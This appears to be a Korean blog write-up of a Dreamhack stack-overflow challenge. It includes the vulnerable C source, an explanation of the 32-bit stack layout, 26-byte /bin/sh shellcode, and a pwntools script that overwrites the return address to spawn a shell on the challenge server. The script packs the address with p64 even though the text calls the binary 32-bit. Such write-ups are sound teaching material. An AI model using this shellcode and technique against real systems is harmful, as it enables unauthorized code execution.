#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
문제 코드이다.
버퍼의 크기가 128바이트인데 scanf에서 141바이트까지 입력을 받을 수 있기 때문에 오버플로우 취약점이 존재한다.
근데 더미를 정확히 얼마나 넣어야 하는지 헷갈려서 스택 구조에 대해 더 공부해봤다.
스탯의 기본적인 메모리 구조이다.
SFP는 실행될 때 이전의 EBP값을 의미한다.
SFP는 32bit에서는 4바이트, 64bit에서는 8바이트를 차지한다.
그래서 이전 문제에서도 ret가 저장되는 것이 rbp+0x8이었다.
이 문제는 32bit이기 때문에 ret와 4바이트만큼 더 떨어져있다.
우리는 오버플로우로 이 ret를 원하는 함수 주소나 셸코드로 덮어쓰면 된다.
따라서 0x80=128바이트에 4바이트를 더해서 132바이트를 더미로 채워야한다.
이 문제에는 get_shell과 같은 함수가 없기 때문에 셸 코드로 해야한다.
scanf에 적용가능한 셸 코드는 26바이트 셸 코드이다.
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80
106개의 더미 문자와 이 26바이트 셸코드를 합쳐서 페이로드를 만들면 된다.
셸 코드를 실행시키려면 셸 코드 자체를 buf에 저장시키고 ret에 buf의 주소를 넣어주면 된다.
이를 pwntools로 구현해보면 다음과 같다.
from pwn import *
from pwn import p64
p = remote('host3.dreamhack.games', 9173)
# "buf = (주소)" 형태의 출력을 받음
output = p.recvline().decode('utf-8').strip()
# 정규 표현식을 사용하여 주소를 추출
buf_address = int(output.split('(')[1].split(')')[0], 16)
# 추출한 주소를 이용하여 페이로드 생성
payload = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload += b'A' * 106 # 예를 들어 오버플로우를 유발하는 만큼 A로 채움
payload += p64(buf_address) # buf_address를 페이로드에 추가
print(payload)
# 페이로드 전송
p.sendline(payload)
p.interactive()
'포너블' 카테고리의 다른 글
Stack Canary & Return to Shellcode 롸업 (0) | 2024.03.06 |
---|---|
드림핵 basic_exploitation_001 롸업 (1) | 2024.03.06 |
Stack Buffer Overflow & Return Address Overwrite 롸업 (0) | 2024.02.03 |
드림핵 shell_basic 롸업 (0) | 2024.02.02 |
범용 레지스터 & gdb(pwndbg) & pwntools (1) | 2024.01.23 |